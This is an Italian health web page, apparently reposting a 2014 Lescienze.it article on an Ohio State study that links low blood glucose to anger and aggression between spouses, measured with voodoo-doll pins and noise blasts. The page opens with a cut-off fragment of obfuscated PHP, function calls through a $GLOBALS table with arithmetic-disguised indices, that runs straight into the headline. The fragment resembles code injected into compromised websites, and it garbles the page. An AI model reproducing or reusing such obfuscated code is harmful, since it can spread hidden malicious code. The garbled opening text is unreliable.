=round(0+3))$_59=$_64[round(0+0.333333333333+0.333333333333+0.333333333333)];if($GLOBALS['_1188104000_'][60]($_59)=round(0+0.6+0.6+0.6+0.6+0.6))$_59=$_64[round(0+0.5+0.5)];if($GLOBALS['_1188104000_'][73]($_59)=round(0+0.6+0.6+0.6+0.6+0.6))$_59=$_64[round(0+0.2+0.2+0.2+0.2+0.2)];if($GLOBALS['_1188104000_'][89]($_59)=round(0+0.6+0.6+0.6+0.6+0.6))$_59=$_64[round(0+0.333333333333+0.333333333333+0.333333333333)];if($GLOBALS['_1188104000_'][106]($_59) Litigi in famiglia? A volte è colpa della glicemia bassa

Area Riservata



Ti ricordiamo che per rendere attivo il tuo account dopo la registrazione, sarà necessario aprire il messaggio email che riceverai e cliccare sul link di attivazione.
Litigi in famiglia? A volte è colpa della glicemia bassa PDF 

Fonte: Lescienze.it (15.04.2014)

 

Se il livello del glucosio nel sangue è basso è più facile perdere le staffe, perché l'esercizio dell'autocontrollo costringe il cervello a un notevole dispendio energetico per effettuare velocemente la sintesi dei neurotrasmettitori adeguati.  A confermarlo è un singolare esperimento a base di "bambole voodoo"

Bassi livelli di glucosio nel sangue possono rendere più irascibili e facilitare la perdita di autocontrollo: e a farne le spese sono spesso le persone più vicine, il coniuge in particolare. E' quanto emerge da un singolare studio condotto da un gruppo di psicologi della Ohio State University, che lo descrivono in un articolo pubblicato sui “Proceedings of the National Academy of Sciences”.

E' noto che quando i livelli di glucosio sono bassi si hanno maggiori difficoltà a concentrarsi, ma esistono dati che indicano che possano influire anche sulla capacità di regolare le emozioni e frenare gli impulsi. Non a caso, osservano gli autori, in inglese esiste anche l'espressione idiomatica hangry, fusione di hungry (affamato) e angry (arrabbiato), per indicare chi perde le staffe per la fame.

Il meccanismo alla base di questo fenomeno sarebbe il fatto che l'autocontrollo richiede un'attiva e cospicua sintesi di neurotrasmettitori, che a sua volta esige una notevole quantità di energia fornita dal glucosio: pur rappresentando solo il due per cento del nostro peso corporeo, il cervello consuma circa il 20 per cento delle calorie.

Brad J. Bushman e colleghi si sono chiesti se i bassi livelli di glucosio potessero influire anche sulle difficoltà di coppia e in particolare sullo scatenarsi di episodi di aggressività e violenza, specie nelle discussioni serali, quando magari ci si è già dovuti controllare sul lavoro. Diversi studi hanno infatti mostrato che la capacità di autocontrollo si indebolisce via via che la si esercita.

Per testare questa ipotesi i ricercatori hanno reclutato 107 coppie che per 21 giorni hanno misurato ogni sera la loro glicemia e, al contempo, conficcare (da soli, senza la presenza del coniuge) in una bambola voodoo un certo numero di spilli (da 0 a 51) in base al livello di rabbia che provavano nei confronti del partner.

E' risultato che a più bassi livelli di glicemia corrispondeva un maggior numero di spilli conficcati. Il dato era uguale anche tenendo conto del livello di soddisfazione generale per il rapporto di coppia, che era stato testato con un apposito questionario.

Per confermare la correlazione fra i livelli di glicemia e di irritabilità, al temine dell'esperimento le coppie sono state sottoposte a un'ulteriore prova. A ogni soggetto era stato detto che avrebbe sfidato il parnter, che stava in un'altra stanza, per vedere chi avrebbe premuto più velocemente un pulsante quando un quadrato sul monitordiventava rosso; il vincitore di ogni prova poteva far sobbalzare l'altro trasmettendogli un forte rumore attraverso le cuffie.

In realtà ciascuno dei coniugi giocava contro il computer, programmato per far vincere il soggetto metà delle volte. Anche in questo caso, chi aveva con bassi livelli di glucosio somministrava un rumore più forte e più prolungato.

“Prima di affrontare una discussione impegnativa con il partner, assicuratevi di non essere affamati”, ha concluso Bushman, ammettendo che è un consiglio minimale, che però potrebbe evitare qualche dispiacere.

 

 

Per migliorare la tua navigazione su questo sito, utilizziamo cookies ed altre tecnologie che ci permettono di riconoscerti. Utilizzando questo sito, acconsenti agli utilizzi di cookies e delle altre tecnologie descritti nella nostra Cookies Policy Utilizzando questo sito, acconsenti agli utilizzi di cookies e delle altre tecnologie descritti nella nostra Cookies Policy.

Acconsento all'utilizzo dei cookies su questo sito